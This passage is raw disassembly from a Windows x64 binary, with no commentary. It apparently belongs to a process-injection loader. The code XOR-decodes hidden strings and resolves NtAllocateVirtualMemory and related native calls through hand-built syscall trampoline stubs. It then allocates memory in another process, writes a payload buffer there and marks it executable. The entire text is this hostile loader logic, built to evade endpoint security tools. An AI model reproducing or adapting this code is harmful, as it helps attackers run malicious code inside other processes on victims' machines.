lea rdx, [rbp + 0x5030]
lea r8, [0x1402afe95]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4ff0]
lea rdx, [rbp + 0x5010]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4fd0]
lea rdx, [rbp + 0x4ff0]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4fb0]
lea rdx, [rbp + 0x4fd0]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4f90]
lea rdx, [rbp + 0x4fb0]
lea r8, [0x1402afedf]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x4f90]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4fb0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4fd0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4ff0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5010]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5030]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5050]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5070]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5090]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x50b0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x50d0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x50f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5110]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x513f]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x5140]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x5140]
mov rcx, qword [rbp + 0x5bb8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x5140]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x140007970
lea rbx, [0x1402afea9]
jmp 0x140007977
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x53af]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x53af]
lea rax, [rbp + 0x5380]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x5360]
lea rdx, [rbp + 0x5380]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5340]
lea rdx, [rbp + 0x5360]
lea r8, [0x1402afea3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5320]
lea rdx, [rbp + 0x5340]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5300]
lea rdx, [rbp + 0x5320]
lea r8, [0x1402afeef]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x52e0]
lea rdx, [rbp + 0x5300]
lea r8, [0x1402afe9b]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x52c0]
lea rdx, [rbp + 0x52e0]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x52a0]
lea rdx, [rbp + 0x52c0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5280]
lea rdx, [rbp + 0x52a0]
lea r8, [0x1402afef5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5260]
lea rdx, [rbp + 0x5280]
lea r8, [0x1402afee3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5240]
lea rdx, [rbp + 0x5260]
lea r8, [0x1402afeed]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5220]
lea rdx, [rbp + 0x5240]
lea r8, [0x1402afedd]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5200]
lea rdx, [rbp + 0x5220]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x51e0]
lea rdx, [rbp + 0x5200]
lea r8, [0x1402afe95]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x51c0]
lea rdx, [rbp + 0x51e0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x51a0]
lea rdx, [rbp + 0x51c0]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5180]
lea rdx, [rbp + 0x51a0]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5160]
lea rdx, [rbp + 0x5180]
lea r8, [0x1402afedf]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x5160]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x5160]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5180]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x51a0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x51c0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x51e0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5200]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5220]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5240]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5260]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5280]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x52a0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x52c0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x52e0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5300]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5320]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5340]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5360]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5380]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x53af]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x53b0]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x53b0]
mov rcx, qword [rbp + 0x5bb0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x53b0]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x140007d63
lea rbx, [0x1402afea9]
jmp 0x140007d6a
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x563f]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x563f]
lea rax, [rbp + 0x5610]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x55f0]
lea rdx, [rbp + 0x5610]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x55d0]
lea rdx, [rbp + 0x55f0]
lea r8, [0x1402afedb]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x55b0]
lea rdx, [rbp + 0x55d0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5590]
lea rdx, [rbp + 0x55b0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5570]
lea rdx, [rbp + 0x5590]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5550]
lea rdx, [rbp + 0x5570]
lea r8, [0x1402afe9b]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5530]
lea rdx, [rbp + 0x5550]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5510]
lea rdx, [rbp + 0x5530]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x54f0]
lea rdx, [rbp + 0x5510]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x54d0]
lea rdx, [rbp + 0x54f0]
lea r8, [0x1402afea1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x54b0]
lea rdx, [rbp + 0x54d0]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5490]
lea rdx, [rbp + 0x54b0]
lea r8, [0x1402afe91]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5470]
lea rdx, [rbp + 0x5490]
lea r8, [0x1402afea3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5450]
lea rdx, [rbp + 0x5470]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5430]
lea rdx, [rbp + 0x5450]
lea r8, [0x1402afea5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x5410]
lea rdx, [rbp + 0x5430]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x53f0]
lea rdx, [rbp + 0x5410]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x53d0]
lea rdx, [rbp + 0x53f0]
lea r8, [0x1402afea7]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x53d0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x53d0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x53f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5410]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5430]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5450]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5470]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5490]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x54b0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x54d0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x54f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5510]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5530]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5550]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5570]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5590]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x55b0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x55d0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x55f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x5610]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x563f]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x5640]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x5640]
mov rcx, qword [rbp + 0x5ba8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x5640]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x140008182
lea rbx, [0x1402afea9]
jmp 0x140008189
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
call fcn.140001ba3
mov dword [rbp + 0x5b60], 0xffffffff
cmp dword [rbp + 0x5b60], 0
jne 0x1400081d4
lea rax, [0x1402afef7]
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x5664]
lea rdx, [rbp + 0x5671]
mov rcx, rax
call fcn.140001d4e
lea rax, [rbp + 0x5664]
mov qword [rbp + 0x5b18], rax
mov rax, qword [rbp + 0x5b18]
mov qword [rbp + 0x5b10], rax
mov rax, qword [rbp + 0x5b10]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x1400082b1
mov rax, qword [rbp + 0x5b18]
mov rdx, qword [rbp + 0x5b18]
mov qword [rbp + 0x5b08], rdx
mov qword [rbp + 0x5b00], rax
mov dword [rbp + 0x5afc], 0
jmp 0x1400082a7
mov eax, dword [rbp + 0x5afc]
movsxd rdx, eax
mov rax, qword [rbp + 0x5b00]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5afc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5b08]
mov eax, dword [rbp + 0x5afc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5afc], 1
cmp dword [rbp + 0x5afc], 0xc
jle 0x140008246
nop
lea rax, [rbp + 0x5664]
mov rcx, rax
call fcn.140001827
mov qword [rbp + 0x5b58], rax
cmp qword [rbp + 0x5b58], 0xffffffffffffffff
jne 0x1400082db
mov ebx, 0
jmp 0x140009c9b
lea rax, [rbp + 0x5672]
lea rdx, [rbp + 0x567e]
mov rcx, rax
call fcn.140001dc8
lea rax, [rbp + 0x5672]
mov qword [rbp + 0x5af0], rax
mov rax, qword [rbp + 0x5af0]
mov qword [rbp + 0x5ae8], rax
mov rax, qword [rbp + 0x5ae8]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x1400083b8
mov rax, qword [rbp + 0x5af0]
mov rdx, qword [rbp + 0x5af0]
mov qword [rbp + 0x5ae0], rdx
mov qword [rbp + 0x5ad8], rax
mov dword [rbp + 0x5ad4], 0
jmp 0x1400083ae
mov eax, dword [rbp + 0x5ad4]
movsxd rdx, eax
mov rax, qword [rbp + 0x5ad8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5ad4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5ae0]
mov eax, dword [rbp + 0x5ad4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5ad4], 1
cmp dword [rbp + 0x5ad4], 0xb
jle 0x14000834d
nop
lea rdx, [rbp + 0x5672]
lea rax, [rbp + 0x2290]
mov rcx, qword [rbp + 0x5b58]
mov r8, rcx
mov rcx, rax
call fcn.1400019e7
mov rax, qword [rbp + 0x2290]
cmp rax, 0xffffffffffffffff
je 0x1400083f2
mov rax, qword [rbp + 0x2298]
cmp rax, 0xffffffffffffffff
jne 0x1400083fc
mov ebx, 0
jmp 0x140009c9b
mov rax, qword [rbp + 0x2290]
mov qword [rbp + 0x5b50], rax
lea rax, [rbp + 0x567f]
lea rdx, [rbp + 0x568e]
mov rcx, rax
call fcn.140001e3a
lea rax, [rbp + 0x567f]
mov qword [rbp + 0x5ac8], rax
mov rax, qword [rbp + 0x5ac8]
mov qword [rbp + 0x5ac0], rax
mov rax, qword [rbp + 0x5ac0]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x1400084e7
mov rax, qword [rbp + 0x5ac8]
mov rdx, qword [rbp + 0x5ac8]
mov qword [rbp + 0x5ab8], rdx
mov qword [rbp + 0x5ab0], rax
mov dword [rbp + 0x5aac], 0
jmp 0x1400084dd
mov eax, dword [rbp + 0x5aac]
movsxd rdx, eax
mov rax, qword [rbp + 0x5ab0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5aac]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5ab8]
mov eax, dword [rbp + 0x5aac]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5aac], 1
cmp dword [rbp + 0x5aac], 0xe
jle 0x14000847c
nop
lea rbx, [rbp + 0x567f]
lea rax, str.Kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b48], rax
lea rax, [rbp + 0x2288]
mov rdx, qword [rbp + 0x5b48]
mov qword [rax], rdx
pxor xmm0, xmm0
movups xmmword [rbp + 0x2270], xmm0
movq qword [rbp + 0x227e], xmm0
mov byte [rbp + 0x2270], 0x48
mov byte [rbp + 0x2271], 0xb8
mov byte [rbp + 0x227a], 0x49
mov byte [rbp + 0x227b], 0xc7
mov byte [rbp + 0x227c], 0xc0
mov byte [rbp + 0x227d], 1
mov byte [rbp + 0x2281], 0x48
mov byte [rbp + 0x2282], 0x31
mov byte [rbp + 0x2283], 0xd2
mov byte [rbp + 0x2284], 0xff
mov byte [rbp + 0x2285], 0xe0
movzx eax, byte [rbp + 0x2288]
mov byte [rbp + 0x2272], al
movzx eax, byte [rbp + 0x2289]
mov byte [rbp + 0x2273], al
movzx eax, byte [rbp + 0x228a]
mov byte [rbp + 0x2274], al
movzx eax, byte [rbp + 0x228b]
mov byte [rbp + 0x2275], al
movzx eax, byte [rbp + 0x228c]
mov byte [rbp + 0x2276], al
movzx eax, byte [rbp + 0x228d]
mov byte [rbp + 0x2277], al
movzx eax, byte [rbp + 0x228e]
mov byte [rbp + 0x2278], al
movzx eax, byte [rbp + 0x228f]
mov byte [rbp + 0x2279], al
mov qword [rbp + 0x2268], 0
mov qword [rbp + 0x2260], 0
mov dword [rbp + 0x224c], 0
mov qword [rbp + 0x2240], 0xe
mov qword [rbp + 0x2238], 0x16
mov r10, qword [0x1402dc038]
lea rcx, [rbp + 0x2240]
lea rdx, [rbp + 0x2268]
mov rax, qword [rbp + 0x5b50]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x5b60], eax
lea rax, [rbp + 0x5690]
lea rdx, [rbp + 0x568f]
mov rcx, rax
call fcn.140001ec4
mov rax, qword [rbp + 0x5690]
mov rdx, qword [rbp + 0x5698]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x56a0]
mov rdx, qword [rbp + 0x56a8]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov rax, qword [rbp + 0x56b0]
mov qword [rbp + 0x60], rax
mov edx, dword [rbp + 0x5b60]
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.14001fb30
mov r10, qword [0x1402dc038]
lea rcx, [rbp + 0x2238]
lea rdx, [rbp + 0x2260]
mov rax, qword [rbp + 0x5b50]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x5b60], eax
lea rax, [rbp + 0x56c0]
lea rdx, [rbp + 0x56bf]
mov rcx, rax
call fcn.140002016
mov rax, qword [rbp + 0x56c0]
mov rdx, qword [rbp + 0x56c8]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x56d0]
mov rdx, qword [rbp + 0x56d8]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov rax, qword [rbp + 0x56de]
mov qword [rbp + 0x5e], rax
mov edx, dword [rbp + 0x5b60]
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.14001fa40
lea rax, [rbp + 0x222a]
lea rdx, [rbp + 0x56ed]
mov rcx, rax
call fcn.140002158
mov r8, qword [rbp + 0x2260]
lea rax, [rbp + 0x222a]
mov qword [rbp + 0x5aa0], rax
mov rax, qword [rbp + 0x5aa0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x14000883c
lea rax, [rbp + 0x222a]
lea rdx, [rbp + 0x222a]
mov qword [rbp + 0x5a98], rdx
mov qword [rbp + 0x5a90], rax
mov dword [rbp + 0x5a8c], 0
jmp 0x140008832
mov eax, dword [rbp + 0x5a8c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a90]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x5a8c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5a98]
mov eax, dword [rbp + 0x5a8c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5a8c], 1
cmp dword [rbp + 0x5a8c], 0xd
jle 0x1400087d1
nop
lea rax, [rbp + 0x222a]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5a88], 0
jmp 0x140008878
mov eax, dword [rbp + 0x5a88]
cdqe
mov byte [rbp + rax + 0x222a], 0
add dword [rbp + 0x5a88], 1
cmp dword [rbp + 0x5a88], 0xd
jle 0x140008861
nop
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x56ee]
mov rcx, rax
call fcn.1400021da
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x222a], rax
mov rax, qword [rbp + 0x46]
mov qword [rbp + 0x2230], rax
mov r8, qword [rbp + 0x2268]
lea rax, [rbp + 0x222a]
mov qword [rbp + 0x5a80], rax
mov rax, qword [rbp + 0x5a80]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x14000896b
lea rax, [rbp + 0x222a]
lea rdx, [rbp + 0x222a]
mov qword [rbp + 0x5a78], rdx
mov qword [rbp + 0x5a70], rax
mov dword [rbp + 0x5a6c], 0
jmp 0x140008961
mov eax, dword [rbp + 0x5a6c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a70]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x5a6c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5a78]
mov eax, dword [rbp + 0x5a6c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5a6c], 1
cmp dword [rbp + 0x5a6c], 0xd
jle 0x140008900
nop
lea rax, [rbp + 0x222a]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5a40], 0
jmp 0x1400089a7
mov eax, dword [rbp + 0x5a40]
cdqe
mov byte [rbp + rax + 0x222a], 0
add dword [rbp + 0x5a40], 1
cmp dword [rbp + 0x5a40], 0xd
jle 0x140008990
nop
mov r10, qword [0x1402dc040]
lea rax, [rbp + 0x2b72]
mov qword [rbp + 0x5a60], rax
mov rax, qword [rbp + 0x5a60]
mov qword [rbp + 0x5a58], rax
mov rax, qword [rbp + 0x5a58]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140008a7f
mov rax, qword [rbp + 0x5a60]
mov rdx, qword [rbp + 0x5a60]
mov qword [rbp + 0x5a50], rdx
mov qword [rbp + 0x5a48], rax
mov dword [rbp + 0x5a44], 0
jmp 0x140008a75
mov eax, dword [rbp + 0x5a44]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a48]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5a44]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5a50]
mov eax, dword [rbp + 0x5a44]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5a44], 1
cmp dword [rbp + 0x5a44], 0xb
jle 0x140008a14
nop
lea r8, [rbp + 0x2b72]
mov rdx, qword [rbp + 0x2268]
mov rax, qword [rbp + 0x5b50]
lea rcx, [rbp + 0x2258]
mov qword [rsp + 0x20], rcx
mov r9d, 0xc
mov rcx, rax
call r10
mov dword [rbp + 0x5b60], eax
lea rax, [rbp + 0x56f0]
lea rdx, [rbp + 0x56ef]
mov rcx, rax
call fcn.14000225c
mov rax, qword [rbp + 0x56f0]
mov rdx, qword [rbp + 0x56f8]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x5700]
mov rdx, qword [rbp + 0x5708]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov rax, qword [rbp + 0x570b]
mov rdx, qword [rbp + 0x5713]
mov qword [rbp + 0x5b], rax
mov qword [rbp + 0x63], rdx
mov edx, dword [rbp + 0x5b60]
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.14001fc20
mov r10, qword [0x1402dc040]
mov r9, qword [rbp + 0x2238]
mov rdx, qword [rbp + 0x2260]
lea r8, [rbp + 0x2270]
mov rax, qword [rbp + 0x5b50]
lea rcx, [rbp + 0x2258]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x5b60], eax
lea rax, [rbp + 0x5720]
lea rdx, [rbp + 0x571f]
mov rcx, rax
call fcn.1400023c6
mov rax, qword [rbp + 0x5720]
mov rdx, qword [rbp + 0x5728]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x5730]
mov rdx, qword [rbp + 0x5738]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movzx eax, byte [rbp + 0x5740]
mov byte [rbp + 0x60], al
mov edx, dword [rbp + 0x5b60]
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.14001f950
cmp dword [rbp + 0x5b60], 0
je 0x140008c66
lea rax, [rbp + 0x5750]
lea rdx, [rbp + 0x574f]
mov rcx, rax
call fcn.1400024e0
mov rax, qword [rbp + 0x5750]
mov rdx, qword [rbp + 0x5758]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5760]
mov rdx, qword [rbp + 0x5768]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x5770]
mov rdx, qword [rbp + 0x5778]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x5780]
mov rdx, qword [rbp + 0x5788]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x5790]
mov rdx, qword [rbp + 0x5798]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movzx eax, byte [rbp + 0x57a0]
mov byte [rbp + 0x30], al
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001fd10
mov ebx, 1
jmp 0x140009c9b
mov r10, qword [0x1402dc048]
lea r8, [rbp + 0x2238]
lea rdx, [rbp + 0x2260]
mov rax, qword [rbp + 0x5b50]
lea rcx, [rbp + 0x224c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x5b60], eax
lea rax, [rbp + 0x57b0]
lea rdx, [rbp + 0x57af]
mov rcx, rax
call fcn.14000277a
mov rax, qword [rbp + 0x57b0]
mov rdx, qword [rbp + 0x57b8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x57c0]
